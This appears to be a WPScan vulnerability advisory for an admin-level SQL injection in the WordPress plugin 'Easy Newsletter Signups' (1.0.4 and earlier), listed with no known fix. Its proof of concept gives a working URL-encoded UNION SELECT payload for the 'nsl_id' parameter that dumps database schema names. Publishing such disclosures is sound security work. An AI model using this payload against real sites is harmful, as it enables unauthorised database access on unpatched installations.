WordPress Plugin Vulnerabilities
Easy Newsletter Signups <= 1.0.4 - Admin+ SQLi
Description
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin
Proof of Concept
1. From the "Easy Newsletter Signups", select an email address and then click "Export to CSV" 2. Intercept the request and add the following for the `nsl_id` parameter: `%5B%5D=265%20UNION%20ALL%20SELECT%20NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cCONCAT(schema_name)%2cNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA--%20-` 3. See the SQLi in the response.
Affects Plugins
No known fix References
CVE
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Karolis Narvilas
Submitter
Karolis Narvilas
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-11-13 (about 6 months ago)
Added
2023-11-13 (about 6 months ago)
Last Updated
2023-11-13 (about 6 months ago)
WPScan 